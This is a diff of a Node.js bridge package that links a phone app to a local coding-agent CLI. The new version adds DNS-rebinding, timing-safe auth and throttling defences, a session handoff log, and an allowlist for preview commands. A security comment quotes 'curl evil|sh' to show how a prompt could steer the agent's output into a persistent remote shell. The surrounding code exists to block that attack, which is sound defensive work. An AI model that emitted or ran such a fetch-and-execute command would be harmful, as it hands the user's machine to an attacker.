esque-bridge 0.6.12 → 0.6.14

package/index.js

@@ -116,6 +116,9 @@ function resolvePairingSecret() {
   const secret = gen();
   try {
     fs.writeFileSync(SECRET_FILE, secret, { mode: 0o600 });
+    // Re-assert perms explicitly (writeFileSync mode is masked by umask, and a
+    // pre-existing file keeps its old perms) — this is an RCE-grade secret.
+    try { fs.chmodSync(SECRET_FILE, 0o600); } catch { /* best effort */ }
   } catch (err) {
     console.warn(
       `[esque-bridge] could not persist pair secret to ${SECRET_FILE} ` +
@@ -188,6 +191,47 @@ function clearCliSessionId(agent, esqueSessionId) {
   saveSessions();
 }
 
+// --- Handoff log ----------------------------------------------------------
+// A running, on-disk record of each turn (prompt + what the agent did), kept in
+// the project folder. Its whole purpose is to survive a lost CLI session: if
+// the agent's conversation memory is ever GC'd, the fresh session is told to
+// read this file and recover the project's context — so a memory reset doesn't
+// mean starting from zero. Best-effort; bounded so it stays readable.
+const HANDOFF_MAX = 48 * 1024;
+function handoffRel(esqueSessionId) {
+  const short = String(esqueSessionId || 'default').replace(/[^a-zA-Z0-9_-]/g, '').slice(0, 16) || 'default';
+  return `.esque/handoff-${short}.md`;
+}
+function handoffPath(esqueSessionId) {
+  return path.join(WORKDIR, handoffRel(esqueSessionId));
+}
+function appendHandoff(esqueSessionId, prompt, replyText) {
+  if (!esqueSessionId) return;
+  try {
+    fs.mkdirSync(path.join(WORKDIR, '.esque'), { recursive: true });
+    const file = handoffPath(esqueSessionId);
+    const header = fs.existsSync(file)
+      ? ''
+      : "# Esque handoff log\n\n> A running record of this project's work so your AI agent can recover context if its session is ever reset. Safe to delete (or add `.esque/` to .gitignore).\n\n";
+    const reply = String(replyText || '').trim().replace(/\n{3,}/g, '\n\n').slice(0, 1200);
+    const stamp = new Date().toISOString();
+    fs.appendFileSync(
+      file,
+      `${header}## ${stamp}\n\n**Prompt:** ${String(prompt || '').slice(0, 600)}\n\n**Agent:** ${reply || '(no output)'}\n\n---\n\n`,
+    );
+    // Keep it bounded: on overflow, retain the most recent entries (trim to a
+    // clean entry boundary so the recovered context reads cleanly).
+    const buf = fs.readFileSync(file, 'utf8');
+    if (buf.length > HANDOFF_MAX) {
+      const tail = buf.slice(buf.length - HANDOFF_MAX);
+      const cut = tail.indexOf('\n## ');
+      fs.writeFileSync(file, '# Esque handoff log (older entries trimmed)\n\n' + (cut >= 0 ? tail.slice(cut + 1) : tail));
+    }
+  } catch {
+    /* best-effort — never let handoff bookkeeping break a turn */
+  }
+}
+
 // --- Adapters -------------------------------------------------------------
 // Each adapter describes how to invoke a CLI for a single prompt. The
 // runner is identical across adapters; only argv-building and stdout
@@ -539,7 +583,23 @@ async function runAgentResilient(prompt, esqueSessionId) {
     if (prevId && RESUME_FAIL_RE.test(String(err && err.message))) {
       console.warn('[bridge] stored CLI session is gone — retrying as a fresh session');
       clearCliSessionId(AGENT_TYPE, esqueSessionId);
-      return runAgent(prompt, esqueSessionId);
+      // The agent lost its memory. If we've been keeping a handoff log, point
+      // the fresh session at it FIRST so it recovers the project's context
+      // instead of starting from zero.
+      let recovered = prompt;
+      try {
+        if (fs.existsSync(handoffPath(esqueSessionId))) {
+          recovered =
+            `[Esque session recovery] Your previous conversation in this project was reset and its in-memory context was lost. ` +
+            `BEFORE anything else, read the file \`${handoffRel(esqueSessionId)}\` in this folder — a running log of everything done in this project so far — and use it to reconstruct context. Then carry out this request:\n\n${prompt}`;
+        }
+      } catch {
+        /* fall back to the bare prompt */
+      }
+      const fresh = await runAgent(recovered, esqueSessionId);
+      // Tell the phone the agent's memory was reset (it ignores the field if
+      // unknown). Older bridges never set it.
+      return { ...fresh, sessionReset: true };
     }
     throw err;
   }
@@ -555,10 +615,77 @@ app.use((req, res, next) => {
   next();
 });
 
+// The current public tunnel host, set once the pair tunnel opens (see main).
+let currentTunnelHost = null;
+
+// DNS-rebinding guard. Legit traffic arrives either at localhost (local dev) or
+// via the cloudflared/localtunnel host; a malicious web page that rebinds its
+// OWN domain to 127.0.0.1:<port> cannot forge a matching Host header, so this
+// blocks it from reaching even the unauthenticated probes (which would
+// otherwise disclose the workdir folder name etc.).
+const LOCAL_HOST_RE = /^(localhost|127\.0\.0\.1|\[::1\])(:\d+)?$/i;
+const TUNNEL_HOST_RE = /\.(trycloudflare\.com|loca\.lt)(:\d+)?$/i;
+app.use((req, res, next) => {
+  const host = String(req.headers.host || '');
+  if (
+    LOCAL_HOST_RE.test(host) ||
+    TUNNEL_HOST_RE.test(host) ||
+    (currentTunnelHost && host === currentTunnelHost)
+  ) {
+    return next();
+  }
+  return res.status(403).json({ error: 'forbidden_host' });
+});
+
+// Real client IP behind the tunnel (cloudflared/localtunnel forward it) so the
+// auth throttle is per-attacker, not global (which an attacker could otherwise
+// abuse to lock out the legit phone).
+function clientIp(req) {
+  return (
+    req.headers['cf-connecting-ip'] ||
+    String(req.headers['x-forwarded-for'] || '').split(',')[0].trim() ||
+    req.ip ||
+    req.socket?.remoteAddress ||
+    'unknown'
+  );
+}
+
+// Constant-time secret check (avoid a string-compare timing side-channel — the
+// secret is the only thing standing between the public tunnel and your shell).
+function secretMatches(provided) {
+  if (typeof provided !== 'string' || provided.length === 0) return false;
+  const a = Buffer.from(provided);
+  const b = Buffer.from(PAIRING_SECRET);
+  return a.length === b.length && crypto.timingSafeEqual(a, b);
+}
+
+// Per-IP failed-auth throttle: 128-bit secrets are infeasible to brute force,
+// but a lockout makes that hold even if the entropy ever drops, and stops a
+// noisy guesser hammering the bridge.
+const authFails = new Map();
+const AUTH_FAIL_MAX = 20;
+const AUTH_FAIL_WINDOW = 60_000;
+function authThrottled(ip) {
+  const now = Date.now();
+  const e = authFails.get(ip);
+  return !!e && e.resetAt > now && e.n >= AUTH_FAIL_MAX;
+}
+function noteAuthFail(ip) {
+  const now = Date.now();
+  if (authFails.size > 5000) for (const [k, v] of authFails) if (v.resetAt <= now) authFails.delete(k);
+  const e = authFails.get(ip);
+  if (!e || e.resetAt <= now) authFails.set(ip, { n: 1, resetAt: now + AUTH_FAIL_WINDOW });
+  else e.n += 1;
+}
+
 // Directory identity the app binds a project to. Lets the phone detect when a
-// project is being re-pointed at a DIFFERENT folder, or scaffolded fresh onto
-// a folder that already has files — the two silent-mismatch foot-guns.
-function workdirInfo() {
+// project is being re-pointed at a DIFFERENT folder. UNAUTHENTICATED callers
+// get only the folder NAME + version — never the absolute path (it leaks the OS
+// username) or the directory contents.
+function workdirInfo(authed) {
+  if (!authed) {
+    return { workdirName: path.basename(WORKDIR), version: BRIDGE_VERSION };
+  }
   let empty = false;
   let git = false;
   let entries = -1;
@@ -576,42 +703,42 @@ function workdirInfo() {
     empty,
     git,
     entries,
-    // Lets the app detect a stale bridge and say "restart your bridge"
-    // instead of silently degrading (older bridges lack newer self-healing).
     version: BRIDGE_VERSION,
   };
 }
 
-// Public health probe.
+// Public health probe — minimal, unauthenticated.
 app.get('/', (_req, res) => {
   res.json({
     ok: true,
     service: 'esque-bridge',
     agent: AGENT_TYPE,
     agentLabel: adapter.label,
-    sessions: Object.keys(sessionMap[AGENT_TYPE] ?? {}).length,
-    ...workdirInfo(),
+    ...workdirInfo(false),
   });
 });
 
-// Connection-test probe — no auth required to confirm reachability, but if
-// the phone includes the pair secret we validate it and report back via
-// `paired` so the app can verify the secret BEFORE showing a green
-// "Paired" state. `paired` is true (match), false (wrong/stale secret), or
-// null (no secret sent — older app builds; we can't say either way). We also
-// return workdir identity so the app can warn on a folder mismatch.
+// Connection-test probe — no auth required to confirm reachability, but if the
+// phone includes the pair secret we validate it and report `paired` so the app
+// can verify BEFORE showing green. Full workdir identity (path, git, entries)
+// is returned ONLY when the secret matches (paired === true).
 app.post('/', (req, res, next) => {
   if (req.body && req.body._probe === true) {
     const provided = req.header('x-esque-pair') || req.body?.pairSecret;
-    const paired = provided == null ? null : provided === PAIRING_SECRET;
-    return res.json({ ok: true, service: 'esque-bridge', agent: AGENT_TYPE, paired, ...workdirInfo() });
+    const paired = provided == null ? null : secretMatches(provided);
+    return res.json({ ok: true, service: 'esque-bridge', agent: AGENT_TYPE, paired, ...workdirInfo(paired === true) });
   }
   return next();
 });
 
 function requireAuth(req, res, next) {
+  const ip = clientIp(req);
+  if (authThrottled(ip)) {
+    return res.status(429).json({ text: 'Too many attempts — wait a minute and try again.', status: 'blocked' });
+  }
   const provided = req.header('x-esque-pair') || req.body?.pairSecret;
-  if (provided !== PAIRING_SECRET) {
+  if (!secretMatches(provided)) {
+    noteAuthFail(ip);
     return res.status(401).json({
       text:
         'Unauthorized. Pair this bridge with your phone by scanning the QR code from the terminal where esque-bridge is running.',
@@ -644,7 +771,30 @@ let preview = null; // { port, proc, kind, url, tunnel, tunnelProc }
 // revive the dev server + mint a fresh tunnel — the phone then resolves the
 // current URL via GET /preview instead of trusting the dead one.
 const PREVIEWS_FILE = path.join(os.homedir(), '.esque-bridge-previews.json');
+
+// SECURITY: the preview command comes from the agent's reply (the ESQUE_PREVIEW
+// marker) and is run via `sh -c` — and persisted + auto-replayed on every
+// restart. Without a guard, a single prompt could plant
+// `ESQUE_PREVIEW: curl evil|sh` as a persistent, headless RCE. So we only ever
+// run/persist a command that looks like a real dev-server start: each
+// `&&`-separated step must begin with an allowlisted tool, and the whole
+// string must be free of pipes, redirects, sequencing, subshells, and command
+// substitution (we DO allow `&&` chaining and flags). This bounds it to the
+// shapes the blueprints actually emit (npm/npx expo/next/vite) and rejects the
+// arbitrary-shell case.
+const PREVIEW_TOOL = /^(npm|npx|yarn|pnpm|bun|expo|next|vite|node)(\s|$)/;
+function isSafePreviewCmd(cmd) {
+  if (typeof cmd !== 'string' || cmd.length === 0 || cmd.length > 400) return false;
+  if (/[\n\r;`|<>]/.test(cmd)) return false;      // sequencing/pipe/redirect/backtick
+  if (/\$\(|\$\{/.test(cmd)) return false;         // command/var substitution
+  if (/(^|[^&])&($|[^&])/.test(cmd)) return false; // a lone & (background); && is allowed
+  const steps = cmd.split('&&').map((s) => s.trim()).filter(Boolean);
+  if (steps.length === 0 || steps.length > 6) return false;
+  return steps.every((s) => PREVIEW_TOOL.test(s));
+}
+
 function savePreviewCmd(cmd, port) {
+  if (!isSafePreviewCmd(cmd)) return; // never persist an un-vettable command
   try {
     let all = {};
     try { all = JSON.parse(fs.readFileSync(PREVIEWS_FILE, 'utf8')); } catch { /* first run */ }
@@ -658,7 +808,9 @@ function loadPreviewCmd() {
   try {
     const all = JSON.parse(fs.readFileSync(PREVIEWS_FILE, 'utf8'));
     const e = all[WORKDIR];
-    if (e && typeof e.cmd === 'string' && Number.isInteger(e.port)) return e;
+    // Re-validate on read too — a hand-edited or pre-guard previews file must
+    // not auto-replay something unsafe on boot.
+    if (e && isSafePreviewCmd(e.cmd) && Number.isInteger(e.port)) return e;
   } catch { /* none saved */ }
   return null;
 }
@@ -944,6 +1096,12 @@ async function ensureDeps() {
 
 async function startPreview(cmd, port) {
   killPreview();
+  // SECURITY: refuse any preview command that isn't a recognizable dev-server
+  // start (see isSafePreviewCmd) — never hand arbitrary shell to `sh -c`.
+  if (!isSafePreviewCmd(cmd)) {
+    console.error(`[preview] refused unsafe preview command: ${String(cmd).slice(0, 120)}`);
+    return { url: null, buildError: 'Esque only runs a recognized dev-server start command for the preview (npm/expo/next/vite). The requested command was refused for safety.' };
+  }
   // Make sure node_modules exists before the dev server tries to boot. A
   // failed install IS the build error — surface the npm cause to the phone
   // (and the auto-fix loop, which can repair package.json) instead of letting
@@ -1183,11 +1341,13 @@ async function executeHandler(req, res) {
         jobs.set(jobId, {
           status: result.isError ? 'blocked' : 'finished',
           text: result.text,
+          sessionReset: !!result.sessionReset,
           createdAt: Date.now(),
         });
         console.log(
           `[bridge] done  job=${jobId}  ${result.isError ? 'blocked' : 'finished'}`,
         );
+        if (!result.isError) appendHandoff(esqueSessionId, prompt, result.text);
         const ok = !result.isError;
         sendExpoPush(
           pushToken,
@@ -1234,9 +1394,11 @@ async function executeHandler(req, res) {
 
   try {
     const result = await enqueueRun(prompt, esqueSessionId);
+    if (!result.isError) appendHandoff(esqueSessionId, prompt, result.text);
     finish({
       text: result.text,
       status: result.isError ? 'blocked' : 'finished',
+      sessionReset: !!result.sessionReset,
     });
   } catch (err) {
     console.error('[bridge] error:', err.message);
@@ -1254,7 +1416,7 @@ function resultHandler(req, res) {
       text: 'That task is no longer available — the bridge may have restarted.',
     });
   }
-  res.json({ status: job.status, text: job.text });
+  res.json({ status: job.status, text: job.text, sessionReset: !!job.sessionReset });
 }
 
 // Single-flight wrapper for reviving the saved preview: GET /preview and the
@@ -1454,6 +1616,8 @@ async function main() {
   if (tunnel.kind === 'localtunnel') {
     console.log('  (Using localtunnel — install cloudflared for a faster, steadier tunnel: brew install cloudflared)');
   }
+  // Allow this tunnel's host through the DNS-rebinding guard.
+  try { currentTunnelHost = new URL(tunnel.url).host; } catch { /* keep null */ }
 
   const pairUrl = `esque://pair?url=${encodeURIComponent(tunnel.url)}&secret=${PAIRING_SECRET}&agent=${AGENT_TYPE}`;
 

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "esque-bridge",
-  "version": "0.6.12",
+  "version": "0.6.14",
   "description": "Desktop-side receiver for the Esque Agent mobile app. Pairs your phone with a local coding-agent CLI (Claude Code, Codex, Aider, or any custom command) via a tunnel + QR code, so prompts run through your subscription instead of per-token API billing.",
   "bin": {
     "esque-bridge": "index.js"